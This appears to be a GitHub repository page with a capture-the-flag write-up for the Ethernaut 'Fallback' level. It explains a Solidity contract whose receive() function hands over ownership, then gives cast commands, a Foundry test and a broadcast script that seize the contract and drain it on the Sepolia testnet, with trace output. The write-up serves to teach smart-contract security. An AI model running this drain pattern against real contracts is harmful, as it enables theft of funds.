ethernaut-foundry-framework-solutions-sol/test/01 at main · autistic-symposium/ethernaut-foundry-framework-solutions-sol

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Fallback.t.sol	Fallback.t.sol
README.md	README.md

👾 01. Fallback

tl; dr

in this challenge, we exploit a flawed fallback function to gain control and drain a contract.

contract Fallback {

  mapping(address => uint) public contributions;
  address public owner;

  constructor() {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
  }

  modifier onlyOwner {
        require(
            msg.sender == owner,
            "caller is not the owner"
        );
        _;
    }

  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }

  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }

  function withdraw() public onlyOwner {
    payable(owner).transfer(address(this).balance);
  }

  receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }
}

discussion

the only way to drain the contract is via withdraw(), which can only be called if msg.sender is the owner (because of the onlyOwner modifier).this function will transfer all the funds in the contract to the owner's' address (note that this function is also vulnerable to reentrancy):

function withdraw() public onlyOwner {
    owner.transfer(address(this).balance);
}

there are two places in the contract where owner is updated with msg.sender: contribute() and the fallback receive().

the function contribute() allows the msg.sender to send wei to the contract and to be tracked by the contributions[] mapping variable.
- if the total contribution made by a user is greater than the one by the actual owner, msg.sender will become owner.

  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }

however, the contribution made by the user would need to be greater than 1000 eth (to beat the one made by the owner in the constructor):

  constructor() {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
  }

the fallback function receive() is a special function that is called "automatically" when some ether is sent to the contract without specifying anything in the calldata (i.e., calls made with send() or transfer()).
- implementing a fallback function is a good idea if the contract receives ether from other wallets or contracts, as they are useful for emitting payment events and checking requirements. every smart contract can only have one fallback function.
- here, receive() requires that msg.value > 0 (the function call needs to contain some wei) and contributions[msg.sender] > 0 (the caller has to have donated before). if they pass, owner becomes msg.sender:

  receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }

3-lines solution with `cast`

this problem can be solved with 3 lines using foundry's cast:

call contribute() with some wei so that contributions[msg.sender] > 0:

> cast send <instance contract> "contribute()" --value `1wei` --private-key=<your private key> --rpc-url=<rpc endpoint to sepolia>

blockHash               0xb691cea544164091a2353aebeb15feede86763298d6136b3231923b36b715b4f
blockNumber             4077851
contractAddress
cumulativeGasUsed       3800590
effectiveGasPrice       3216660017
gasUsed                 47965
logs                    []
logsBloom               0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

become owner when triggering receive() by sending 1 wei to the contract with an empty data field (i.e., empty msg.data):

> cast send <instance contract> --value 1wei --private-key=<your private key> --rpc-url=<rpc endpoint to sepolia>

blockHash               0x1bf1ee70a9a9b3d919f93bdfd2f7f1c03325caefbd20522d5b1162c781c8a50c
blockNumber             4077853
contractAddress
cumulativeGasUsed       28302
effectiveGasPrice       3183243793
gasUsed                 28302
logs                    []
logsBloom               0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
root
status                  1
transactionHash         0xa6c2fdecf316c8a57116c89aaee7fb5e3596ddc55f6e4e3bbc812802865c6f77
transactionIndex        0
type                    2

call withdraw() to drain the contract.

> cast send <instance contract> "withdraw()" --private-key=<your private key> --rpc-url=<rpc endpoint to sepolia>

blockHash               0x8ffea8d58449e5f9f2a15d264c851defe4b97ed724a3bf681196390ac8c09bd5
blockNumber             4077855
contractAddress
cumulativeGasUsed       1898453
effectiveGasPrice       3200792076
gasUsed                 30364
logs                    []
logsBloom               0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
root
status                  1
transactionHash         0xd18e25cee0ba55165f0fbed21d9dad6ff227f9c6897fd9178818bf1611064eb0
transactionIndex        2
type                    2

formal solution in `solidity`

check test/01/Fallback.t.sol:

contract FallbackTest is Test {
    Fallback public level;
    address instance = vm.addr(0x10053); 
    address hacker = vm.addr(0x1337); 

    function setUp() public {
      vm.deal(hacker, 0.0001 ether);
      vm.prank(instance);
      level = new Fallback();
    }

    function testFallbackHack() public {

        vm.startPrank(hacker);

        ////////////////////////////////////////
        //                                    //
        //        STEP 1: RECON               //
        //                                    //
        ////////////////////////////////////////

        ///////////////////////////////////////////
        // Should show the adress of the instance
        //////////////////////////////////////////
        emit log_address(instance);

        ///////////////////////////////////
        // Should be the same as above
        ///////////////////////////////////
        emit log_address(level.owner());

        ///////////////////////////////////
        // Both should be 0, one is the 
        // array contributions[msg.sender], 
        // the other is the owner's balance
        ///////////////////////////////////
        emit log_uint(level.getContribution());
        emit log_uint(instance.balance);

        ///////////////////////////////////
        // Should be 1 ether as set above
        // (1000000000000000000)
        ///////////////////////////////////
        emit log_address(hacker);
        emit log_uint(hacker.balance);
        

        ////////////////////////////////////////
        //                                    //
        //        STEP 2: contribute()        //
        //                                    //
        ////////////////////////////////////////

        ////////////////////////////////////////
        // contribute with msg.sender to hacker
        ////////////////////////////////////////
        level.contribute{value: 1 wei}();

        /////////////////////////////////// 
        // Should be 999999999999999999 and
        // contributions[msg.sender] is 1
        ///////////////////////////////////
        emit log_uint(hacker.balance);
        emit log_uint(level.getContribution());


        ////////////////////////////////////////
        //                                    //
        //    STEP 3: TRIGGER FALLBACK        //
        //                                    //
        ////////////////////////////////////////

        /////////////////////////////////////
        // call send() to trigger receive(), 
        // hacker should be the owner
        /////////////////////////////////////
        (bool sent, ) = address(level).call{value: 1 wei}("");
        require(sent, "Failed to call send()");
        assertEq(level.owner(), hacker);
        

        ////////////////////////////////////////
        //                                    //
        //     STEP 4: DRAIN CONTRACT         //
        //                                    //
        ////////////////////////////////////////
        level.withdraw();
        
        vm.stopPrank();
        
        }
}

which can be run with:

> forge test --match-contract FallbackTest -vvvv    

Running 1 test for test/01/Fallback.t.sol:FallbackTest
�[32m[PASS]�[0m testFallbackHack() (gas: 84561)
Logs:
  0x7e5f4552091a69125d5dfcb7b8c2659029395bdf
  0x7e5f4552091a69125d5dfcb7b8c2659029395bdf
  0
  0
  0x2b5ad5c4795c026514f8317c7a215e218dccd6cf
  100000000000000
  99999999999999
  1

Traces:
  [84561] �[32mFallbackTest�[0m::�[32mtestFallbackHack�[0m() �[33m�[0m
    ├─ emit �[36mlog_address�[0m(: 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf)
    ├─ [2359] �[32mFallback�[0m::�[32mowner�[0m() �[33m[staticcall]�[0m
    │   └─ �[32m← �[0m0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf
    ├─ emit �[36mlog_address�[0m(: 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf)
    ├─ [2418] �[32mFallback�[0m::�[32mgetContribution�[0m() �[33m[staticcall]�[0m
    │   └─ �[32m← �[0m0
    ├─ emit �[36mlog_uint�[0m(: 0)
    ├─ emit �[36mlog_uint�[0m(: 0)
    ├─ emit �[36mlog_address�[0m(: 0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF)
    ├─ emit �[36mlog_uint�[0m(: 100000000000000 �[2;49;39m[1e14]�[0m)
    ├─ [0] �[34mVM�[0m::�[34mstartPrank�[0m(0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF) �[33m�[0m
    │   └─ �[34m← �[0m()
    ├─ [24928] �[32mFallback�[0m::�[32mcontribute�[0m{value: 1}() �[33m�[0m
    │   └─ �[32m← �[0m()
    ├─ emit �[36mlog_uint�[0m(: 99999999999999 �[2;49;39m[9.999e13]�[0m)
    ├─ [418] �[32mFallback�[0m::�[32mgetContribution�[0m() �[33m[staticcall]�[0m
    │   └─ �[32m← �[0m1
    ├─ emit �[36mlog_uint�[0m(: 1)
    ├─ [3323] �[32mFallback�[0m::�[32mreceive�[0m{value: 1}() �[33m�[0m
    │   └─ �[32m← �[0m()
    ├─ [359] �[32mFallback�[0m::�[32mowner�[0m() �[33m[staticcall]�[0m
    │   └─ �[32m← �[0m0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF
    ├─ [7277] �[32mFallback�[0m::�[32mwithdraw�[0m() �[33m�[0m
    │   ├─ [0] �[32m0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF�[0m::�[32mfallback�[0m{value: 2}() �[33m�[0m
    │   │   └─ �[32m← �[0m()
    │   └─ �[32m← �[0m()
    ├─ [0] �[34mVM�[0m::�[34mstopPrank�[0m() �[33m�[0m
    │   └─ �[34m← �[0m()
    └─ �[32m← �[0m()

Test result: �[32mok�[0m. 1 passed; 0 failed; 0 skipped; finished in 813.92µs
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

and submitted with script/01/Fallback.s.sol:

contract Exploit is Script {

        address instance = vm.envAddress("INSTANCE_LEVEL1");
        address hacker = vm.rememberKey(vm.envUint("PRIVATE_KEY"));
        Fallback level = Fallback(payable(instance));
      
        function run() external {
            vm.startBroadcast(hacker);
            level.contribute{value: 1 wei}();
            (bool success, ) = address(level).call{value: 1 wei}("");
            require(success, "failed to call send()");
            level.withdraw();
            vm.stopBroadcast();
    }
}

by running:

> forge script ./script/01/Fallback.s.sol --broadcast -vvvv --rpc-url sepolia

Traces:
  [59628] �[32mExploit�[0m::�[32mrun�[0m() �[33m�[0m
    ├─ [0] �[34mVM�[0m::�[34menvUint�[0m(PRIVATE_KEY) �[33m[staticcall]�[0m
    │   └─ �[34m← �[0m<env var value>
    ├─ [0] �[34mVM�[0m::�[34mstartBroadcast�[0m(<pk>) �[33m�[0m
    │   └─ �[34m← �[0m()
    ├─ [7801] �[32m0xD4E2471CA863251b61a1009223Ee23D2F23f057d�[0m::�[32mcontribute�[0m{value: 1}() �[33m�[0m
    │   └─ �[32m← �[0m()
    ├─ [502] �[32m0xD4E2471CA863251b61a1009223Ee23D2F23f057d�[0m::�[32mfallback�[0m{value: 1}() �[33m�[0m
    │   └─ �[32m← �[0m()
    ├─ [7300] �[32m0xD4E2471CA863251b61a1009223Ee23D2F23f057d�[0m::�[32mwithdraw�[0m() �[33m�[0m
    │   ├─ [0] �[32m0x93Bc9E22Af0d4791E6AA31b4D845F750b32966ad�[0m::�[32mfallback�[0m{value: 2}() �[33m�[0m
    │   │   └─ �[32m← �[0m()
    │   └─ �[32m← �[0m()
    ├─ [0] �[34mVM�[0m::�[34mstopBroadcast�[0m() �[33m�[0m
    │   └─ �[34m← �[0m()
    └─ �[32m← �[0m()


�[32mScript ran successfully.�[0m
==========================
Simulated On-chain Traces:

  [32473] �[32m0xD4E2471CA863251b61a1009223Ee23D2F23f057d�[0m::�[32mcontribute�[0m{value: 1}() �[33m�[0m
    └─ �[32m← �[0m()

  [27095] �[32m0xD4E2471CA863251b61a1009223Ee23D2F23f057d�[0m::�[32mfallback�[0m{value: 1}() �[33m�[0m
    └─ �[32m← �[0m()

  [32261] �[32m0xD4E2471CA863251b61a1009223Ee23D2F23f057d�[0m::�[32mwithdraw�[0m() �[33m�[0m
    ├─ [0] �[32m0x93Bc9E22Af0d4791E6AA31b4D845F750b32966ad�[0m::�[32mfallback�[0m{value: 2}() �[33m�[0m
    │   └─ �[32m← �[0m()
    └─ �[32m← �[0m()


==========================

Chain 11155111

Estimated gas price: 3.645290764 gwei

Estimated total gas used for script: 119376

Estimated amount required: 0.000435160230243264 ETH

==========================

###
Finding wallets for all the necessary addresses...
##
Sending transactions [0 - 2].

##
Waiting for receipts.

##### sepolia
✅  [Success]Hash: 0xd47b8ce14de27a974032f323d42f3cb2eae5ab09d2784458353aec217f58f36e
Block: 4092414
Paid: 0.000095368384115325 ETH (28865 gas * 3.303945405 gwei)


##### sepolia
✅  [Success]Hash: 0x5a9df9632d5633530f57240a7affe36237f8ec05c913d9f150571940f4f9dd89
Block: 4092414
Paid: 0.00008425721571831 ETH (25502 gas * 3.303945405 gwei)


##### sepolia
✅  [Success]Hash: 0x50f13132884b4b22e4abd40c5bd21a7205b4651c85cc9b38e0a82a47e9a83be1
Block: 4092414
Paid: 0.00010032099827742 ETH (30364 gas * 3.303945405 gwei)

==========================

ONCHAIN EXECUTION COMPLETE & SUCCESSFUL.
Total Paid: 0.000279946598111055 ETH (84731 gas * avg 3.303945405 gwei)

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README.md

👾 01. Fallback

tl; dr

discussion

3-lines solution with `cast`

this problem can be solved with 3 lines using foundry's cast:

formal solution in `solidity`

pwned...

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parent directory

README.md

👾 01. Fallback

tl; dr

discussion

3-lines solution with cast

this problem can be solved with 3 lines using foundry's cast:

formal solution in solidity

pwned...

3-lines solution with `cast`

formal solution in `solidity`